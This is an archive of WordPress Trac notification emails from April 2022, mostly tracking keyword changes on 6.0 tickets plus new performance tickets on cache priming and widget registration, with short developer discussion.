<051.b1e010d702802fe8a65dc06f5d85d979@wordpress.org> References: <051.b1e010d702802fe8a65dc06f5d85d979@wordpress.org> Message-ID: <066.59996bc11aad5fd21d3bfff2c48b2489@wordpress.org> #55016: Upgrade bundled jQuery Color ------------------------------------------+------------------------- Reporter: Clorith | Owner: Clorith Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: 5.3 Severity: normal | Resolution: fixed Keywords: has-patch add-to-field-guide | Focuses: javascript ------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch needs-dev-note => has-patch add-to-field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/55016#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:36:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:36:41 -0000 Subject: [wp-trac] [WordPress Trac] #55181: Update Random_Compat to 2.0.21 In-Reply-To: <047.e8864f9d6e3976eb30150c2359942af9@wordpress.org> References: <047.e8864f9d6e3976eb30150c2359942af9@wordpress.org> Message-ID: <062.ae4244a170ef564867f3f1ce95374147@wordpress.org> #55181: Update Random_Compat to 2.0.21 -------------------------------------------------+------------------------- Reporter: jrf | Owner: | hellofromTonya Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: trunk Severity: normal | Resolution: fixed Keywords: needs-patch php81 add-to-field- | Focuses: guide | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: needs-patch php81 needs-dev-note => needs-patch php81 add-to- field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/55181#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:37:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:37:04 -0000 Subject: [wp-trac] [WordPress Trac] #55187: Update PHPMailer to 6.5.4 In-Reply-To: <047.bd49a13e63069781583cf5277f9d3185@wordpress.org> References: <047.bd49a13e63069781583cf5277f9d3185@wordpress.org> Message-ID: <062.319a0e4b024389ab2292998eb9f17994@wordpress.org> #55187: Update PHPMailer to 6.5.4 -------------------------------------------------+------------------------- Reporter: jrf | Owner: | SergeyBiryukov Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: trunk Severity: normal | Resolution: fixed Keywords: needs-patch php81 php82 add-to- | Focuses: field-guide | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: needs-patch php81 php82 needs-dev-note => needs-patch php81 php82 add-to-field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/55187#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:37:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:37:28 -0000 Subject: [wp-trac] [WordPress Trac] #55277: Update PHPMailer to 6.6.0 In-Reply-To: <047.1b12247c119a04f34f28ac6e3a9f7b78@wordpress.org> References: <047.1b12247c119a04f34f28ac6e3a9f7b78@wordpress.org> Message-ID: <062.dd8f5c0bef8def32bc89528c2d264607@wordpress.org> #55277: Update PHPMailer to 6.6.0 --------------------------------------------+----------------------------- Reporter: jrf | Owner: SergeyBiryukov Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: trunk Severity: normal | Resolution: fixed Keywords: needs-patch add-to-field-guide | Focuses: --------------------------------------------+----------------------------- Changes (by milana_cap): * keywords: needs-patch needs-dev-note => needs-patch add-to-field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/55277#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:37:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:37:48 -0000 Subject: [wp-trac] [WordPress Trac] #55453: Update Sodium Compat to 1.17.1 (PHP 8.1 compatibility) In-Reply-To: <047.3ce4be26e3b1e349429ff906ba6e05c0@wordpress.org> References: <047.3ce4be26e3b1e349429ff906ba6e05c0@wordpress.org> Message-ID: <062.f1641fc3698832b6944a6b7833c6e561@wordpress.org> #55453: Update Sodium Compat to 1.17.1 (PHP 8.1 compatibility) -------------------------------------------------+------------------------- Reporter: jrf | Owner: | SergeyBiryukov Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: trunk Severity: normal | Resolution: fixed Keywords: needs-patch php81 add-to-field- | Focuses: guide | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: needs-patch php81 needs-dev-note => needs-patch php81 add-to- field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/55453#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:38:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:38:11 -0000 Subject: [wp-trac] [WordPress Trac] #55547: Minor external library updates for 6.0 In-Reply-To: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> References: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> Message-ID: <066.705c352a54815c90f720d94a98510589@wordpress.org> #55547: Minor external library updates for 6.0 ------------------------------------------+---------------------- Reporter: desrosj | Owner: desrosj Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: fixed Keywords: has-patch add-to-field-guide | Focuses: ------------------------------------------+---------------------- Changes (by milana_cap): * keywords: has-patch needs-dev-note => has-patch add-to-field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/55547#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:38:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:38:46 -0000 Subject: [wp-trac] [WordPress Trac] #40875: Add a petabyte constant In-Reply-To: <056.d28c7a3a7d68d425d37fb637695b2b65@wordpress.org> References: <056.d28c7a3a7d68d425d37fb637695b2b65@wordpress.org> Message-ID: <071.b3c056863157fda1acff9d957a036859@wordpress.org> #40875: Add a petabyte constant -------------------------------------------------+------------------------- Reporter: henry.wright | Owner: | johnbillion Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Formatting | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests add-to- | Focuses: field-guide | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch has-unit-tests needs-dev-note => has-patch has-unit- tests add-to-field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/40875#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:39:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:39:31 -0000 Subject: [wp-trac] [WordPress Trac] #54698: Add 'ruby' tag and its friends to kses In-Reply-To: <051.ded7cc606721b8ff42fbbebaeefc723d@wordpress.org> References: <051.ded7cc606721b8ff42fbbebaeefc723d@wordpress.org> Message-ID: <066.01622ccc4e8136bc78f4dab15020d55c@wordpress.org> #54698: Add 'ruby' tag and its friends to kses -------------------------------------------------+------------------------- Reporter: upsuper | Owner: | SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Formatting | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit add-to-field-guide | Focuses: -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch commit needs-dev-note => has-patch commit add-to- field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/54698#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:41:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:41:05 -0000 Subject: [wp-trac] [WordPress Trac] #54272: Allow block themes to be activated without index.php In-Reply-To: <049.474a9f3e2f58561a3c488042836071ca@wordpress.org> References: <049.474a9f3e2f58561a3c488042836071ca@wordpress.org> Message-ID: <064.fbf3a2874e3e947fc771186a84f4d0cf@wordpress.org> #54272: Allow block themes to be activated without index.php -------------------------------------------------+------------------------- Reporter: poena | Owner: | SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit add-to-field-guide | Focuses: template -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch commit needs-dev-note => has-patch commit add-to- field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/54272#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:41:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:41:35 -0000 Subject: [wp-trac] [WordPress Trac] #55480: Add filter to modify description in plugin card In-Reply-To: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> References: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> Message-ID: <066.d8c05f5061f5e2ae3b53de2b7e059225@wordpress.org> #55480: Add filter to modify description in plugin card ------------------------------------------+----------------------------- Reporter: afragen | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: fixed Keywords: has-patch add-to-field-guide | Focuses: administration ------------------------------------------+----------------------------- Changes (by milana_cap): * keywords: has-patch needs-dev-note => has-patch add-to-field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/55480#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:51:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:51:26 -0000 Subject: [wp-trac] [WordPress Trac] #38805: A hook is missing in class WP_List_Table In-Reply-To: <050.d9281b2c99d9ad25f25757b42c6fb423@wordpress.org> References: <050.d9281b2c99d9ad25f25757b42c6fb423@wordpress.org> Message-ID: <065.6350a2be5d2e7141530a66695cc2c07c@wordpress.org> #38805: A hook is missing in class WP_List_Table -----------------------------------+------------------------------ Reporter: madvic | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: 4.6.1 Severity: major | Resolution: Keywords: 2nd-opinion has-patch | Focuses: -----------------------------------+------------------------------ Changes (by johnregan3): * keywords: 2nd-opinion => 2nd-opinion has-patch Comment: @SergeyBiryukov @desrosj Initial patch added in case there is no more discussion needed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38805#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:52:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:52:46 -0000 Subject: [wp-trac] [WordPress Trac] #55592: Prime caches for featured images in post rest api controller Message-ID: <056.c1873c9ff5014dcb8c84a7899b12d7da@wordpress.org> #55592: Prime caches for featured images in post rest api controller --------------------------+---------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: REST API | Version: 4.2 Severity: normal | Keywords: has-patch Focuses: rest-api | --------------------------+---------------------------- In the post api controller, if the post type supports thumbnails, this results a query to be run for each post's thumbnail. For a REST API request with 100 posts in it, this can result in lots of queries. In core there is already a function called `update_post_thumbnail_cache`, used to prime post thumbnails. However, this does not seem to be fired here. A simple fix would be to fire `update_post_thumbnail_cache` in the post controller. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55592> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:53:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:53:05 -0000 Subject: [wp-trac] [WordPress Trac] #55592: Prime caches for featured images in post rest api controller In-Reply-To: <056.c1873c9ff5014dcb8c84a7899b12d7da@wordpress.org> References: <056.c1873c9ff5014dcb8c84a7899b12d7da@wordpress.org> Message-ID: <071.14c1016922e25afe717f19731ad77a34@wordpress.org> #55592: Prime caches for featured images in post rest api controller --------------------------+----------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Future Release Component: REST API | Version: 4.2 Severity: normal | Resolution: Keywords: has-patch | Focuses: rest-api --------------------------+----------------------------- Changes (by spacedmonkey): * owner: (none) => spacedmonkey * status: new => assigned -- Ticket URL: <https://core.trac.wordpress.org/ticket/55592#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:55:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:55:59 -0000 Subject: [wp-trac] [WordPress Trac] #55443: Create WebP sub-sizes and use for output In-Reply-To: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> References: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> Message-ID: <074.7d04e84593c778447937db236fca6bc4@wordpress.org> #55443: Create WebP sub-sizes and use for output -------------------------------------------------+------------------------- Reporter: adamsilverstein | Owner: | adamsilverstein Type: enhancement | Status: assigned Priority: normal | Milestone: Future | Release Component: Media | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing needs-dev-note needs-docs needs-user- | performance docs | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch has-unit-tests needs-testing needs-dev-note needs-docs needs-codex => has-patch has-unit-tests needs-testing needs-dev-note needs-docs needs-user-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55443#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:58:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:58:21 -0000 Subject: [wp-trac] [WordPress Trac] #39108: Media: can't leave an image "untitled" from the "Edit Media" menu In-Reply-To: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> References: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> Message-ID: <068.f35c432c3ea84b1aebaa8ce45748889a@wordpress.org> #39108: Media: can't leave an image "untitled" from the "Edit Media" menu -------------------------------------------------+------------------------- Reporter: dromero20 | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: 4.6.1 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch has- | Focuses: testing-info assigned-for-commit commit add- | to-field-guide | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: good-first-bug has-patch has-testing-info assigned-for-commit needs- dev-note commit => good-first-bug has-patch has-testing-info assigned-for-commit commit add-to-field-guide Comment: We have new keyword for tickets that don't need dedicated dev note but rather just mentioning in Field guide or misc dev note. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39108#comment:31> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 17:01:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 17:01:25 -0000 Subject: [wp-trac] [WordPress Trac] #26746: Avoid translating several times post type and taxonomy default labels In-Reply-To: <050.ffb69c1467709412179c846d3531474f@wordpress.org> References: <050.ffb69c1467709412179c846d3531474f@wordpress.org> Message-ID: <065.86177fafd388627b4440d32e1774dfd9@wordpress.org> #26746: Avoid translating several times post type and taxonomy default labels -------------------------------------------------+------------------------- Reporter: Chouby | Owner: | SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: 3.0 Severity: normal | Resolution: fixed Keywords: has-patch early commit add-to- | Focuses: field-guide | performance -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch early commit needs-dev-note => has-patch early commit add-to-field-guide Comment: We have new keyword for tickets that don't need dedicated dev note but rather just mentioning in Field guide or misc dev note. -- Ticket URL: <https://core.trac.wordpress.org/ticket/26746#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 17:02:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 17:02:14 -0000 Subject: [wp-trac] [WordPress Trac] #55593: Prime caches for post parents in post rest api controller Message-ID: <056.9f10a0095b2d9f592cb1220f887a299c@wordpress.org> #55593: Prime caches for post parents in post rest api controller -----------------------------------+---------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: REST API | Version: Severity: normal | Keywords: has-patch Focuses: rest-api, performance | -----------------------------------+---------------------------- In the Post REST controller, for every post with post status of inherit and a parent post set, a lookup for the parent is done in the `check_read_permission` method. For a response with 100 posts, this could result in 100 queries to the posts table. Instead of looking up one by one, simple use `_prime_post_caches` and prime caches for all parents in one request. Related #55592. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55593> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 17:13:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 17:13:16 -0000 Subject: [wp-trac] [WordPress Trac] #6479: Encourage people to change default tagline In-Reply-To: <055.e530d469b6d3d46c70a1707e6bd1ead0@wordpress.org> References: <055.e530d469b6d3d46c70a1707e6bd1ead0@wordpress.org> Message-ID: <070.99083443f1d5e3733b78c27932cb4da8@wordpress.org> #6479: Encourage people to change default tagline -------------------------------------------------+------------------------- Reporter: markjaquith | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.1 Component: Administration | Version: 2.5 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: refresh needs-user-docs | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch needs-unit-tests needs-refresh needs-codex => has- patch needs-unit-tests needs-refresh needs-user-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/6479#comment:46> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 17:27:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 17:27:10 -0000 Subject: [wp-trac] [WordPress Trac] #51750: Update webpack to version 5.x In-Reply-To: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> References: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> Message-ID: <067.6353a706d3536a1a5e48b31f595a1d21@wordpress.org> #51750: Update webpack to version 5.x ------------------------------------------+------------------------- Reporter: mukesh27 | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch add-to-field-guide | Focuses: javascript ------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch has-dev-note => has-patch add-to-field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/51750#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 17:37:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 17:37:27 -0000 Subject: [wp-trac] [WordPress Trac] #55594: Prime user meta in WP_User_Query Message-ID: <056.8ff2b4b4cf5d5b31b42dccb0f2de4e18@wordpress.org> #55594: Prime user meta in WP_User_Query --------------------------+----------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Users | Version: Severity: normal | Keywords: needs-patch Focuses: performance | --------------------------+----------------------------- Ensure that user meta cache is primed in the `WP_User_Query` class, as user meta is used heavily in WP_User class. Prime all user meta in one query will result in less queries overall. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55594> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 17:42:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 17:42:33 -0000 Subject: [wp-trac] [WordPress Trac] #55595: Consider only registering widgets on themes that supports widgets Message-ID: <056.5063bca213f789ebbeda0e79a02ff3c8@wordpress.org> #55595: Consider only registering widgets on themes that supports widgets --------------------------+----------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Widgets | Version: Severity: normal | Keywords: needs-patch Focuses: performance | --------------------------+----------------------------- The `wp_widgets_init` function is run all init and is run on every request. This is wasteful for a number of reasons. Register a widget can result in a get_option lookup. Also, if the theme does not support widgets, then this is wasteful. Consider adding a simple check at the start of `wp_widgets_init` to check if the current theme supports widgets, before registering. This is specially good, considering that more and more themes are now block based and do not use widgets at all. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55595> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 18:00:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 18:00:34 -0000 Subject: [wp-trac] [WordPress Trac] #55595: Consider only registering widgets on themes that supports widgets In-Reply-To: <056.5063bca213f789ebbeda0e79a02ff3c8@wordpress.org> References: <056.5063bca213f789ebbeda0e79a02ff3c8@wordpress.org> Message-ID: <071.f0a26ff716e6e162d39919d0a4847db1@wordpress.org> #55595: Consider only registering widgets on themes that supports widgets --------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Widgets | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: performance --------------------------+------------------------------ Comment (by joyously): What about plugins using `the_widget()`? https://developer.wordpress.org/reference/functions/the_widget/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55595#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 18:27:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 18:27:57 -0000 Subject: [wp-trac] [WordPress Trac] #55595: Consider only registering widgets on themes that supports widgets In-Reply-To: <056.5063bca213f789ebbeda0e79a02ff3c8@wordpress.org> References: <056.5063bca213f789ebbeda0e79a02ff3c8@wordpress.org> Message-ID: <071.9677c526bbfe4c68c2b9a0ae831cdf44@wordpress.org> #55595: Consider only registering widgets on themes that supports widgets --------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Widgets | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: performance --------------------------+------------------------------ Comment (by spacedmonkey): @joyously That feel super edge casey. But we could add a check in the_widget to force registery if not already registered. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55595#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 18:48:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 18:48:51 -0000 Subject: [wp-trac] [WordPress Trac] #55595: Consider only registering widgets on themes that supports widgets In-Reply-To: <056.5063bca213f789ebbeda0e79a02ff3c8@wordpress.org> References: <056.5063bca213f789ebbeda0e79a02ff3c8@wordpress.org> Message-ID: <071.9a25305ba5a13a82b06cd6b727958bdb@wordpress.org> #55595: Consider only registering widgets on themes that supports widgets --------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Widgets | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: performance --------------------------+------------------------------ Comment (by joyously): There could also be actions triggered, that would no longer be triggered. See https://wpdirectory.net/search/01G144AV0DYES8C17J92YSRS8Z The SEO plugins have `remove_all_actions( 'widgets_init' );` and all the plugins that register a widget do it on the `'widget_init'` action which is in the `wp_widgets_init()` function. I didn't look at all 18705 matches, but I do know there is a widget block, so you don't need the theme to declare support for widgets to be using all those legacy widgets, which won't work without the action at which the widget is registered. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55595#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 18:57:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 18:57:26 -0000 Subject: [wp-trac] [WordPress Trac] #38805: A hook is missing in class WP_List_Table In-Reply-To: <050.d9281b2c99d9ad25f25757b42c6fb423@wordpress.org> References: <050.d9281b2c99d9ad25f25757b42c6fb423@wordpress.org> Message-ID: <065.ee904f7dd9727bdd7ff168a5fd4a253b@wordpress.org> #38805: A hook is missing in class WP_List_Table -----------------------------------+------------------------------ Reporter: madvic | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: 4.6.1 Severity: major | Resolution: Keywords: 2nd-opinion has-patch | Focuses: -----------------------------------+------------------------------ Changes (by johnregan3): * Attachment "38805a.diff" added. Same patch. Updated formatting. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38805> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 20:22:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 20:22:16 -0000 Subject: [wp-trac] [WordPress Trac] #55452: `safecss_filter_attr` removes background-images with URL parameters In-Reply-To: <050.6833b796084a793232f1982c6ec0c100@wordpress.org> References: <050.6833b796084a793232f1982c6ec0c100@wordpress.org> Message-ID: <065.2aa31b36bfd7269fe6ee4dff94c25c43@wordpress.org> #55452: `safecss_filter_attr` removes background-images with URL parameters --------------------------+----------------------------- Reporter: ryelle | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Formatting | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: css --------------------------+----------------------------- Comment (by webmandesign): This seems to be affecting Cover block with "Fixed background" enabled too. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55452#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 20:58:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 20:58:22 -0000 Subject: [wp-trac] [WordPress Trac] #55395: Update Twemoji for 6.0 In-Reply-To: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> References: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> Message-ID: <066.7479f78566c44983d2316b89234f8d60@wordpress.org> #55395: Update Twemoji for 6.0 ------------------------------------------------+---------------------- Reporter: kraftbj | Owner: kraftbj Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Emoji | Version: Severity: normal | Resolution: fixed Keywords: needs-user-docs add-to-field-guide | Focuses: ------------------------------------------------+---------------------- Changes (by kraftbj): * keywords: commit needs-user-docs add-to-field-guide => needs-user-docs add-to-field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/55395#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 21:15:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 21:15:07 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.3e02d25f53b7e0e5783d77e8b8acd192@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: | Focuses: accessibility -----------------------------+---------------------------- Changes (by joedolson): * Attachment "55575.diff" added. Fix duplicate ID -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 21:17:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 21:17:04 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.672d26f674dd53421319f06790e3f410@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility -----------------------------+---------------------------- Changes (by joedolson): * keywords: => has-patch Comment: Patch to fix duplicate ID, follows suggestion by @GregLone, which is consistent with the pattern used nearby to differentiate the `tr` containing the wrapper. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 21:19:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 21:19:20 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.ee7d641a8e8e6c104054d1df35e33366@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit ------------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: has-patch commit | Focuses: accessibility ------------------------------+---------------------------- Changes (by joedolson): * keywords: has-patch => has-patch commit Comment: This is a simple change; works as expected. 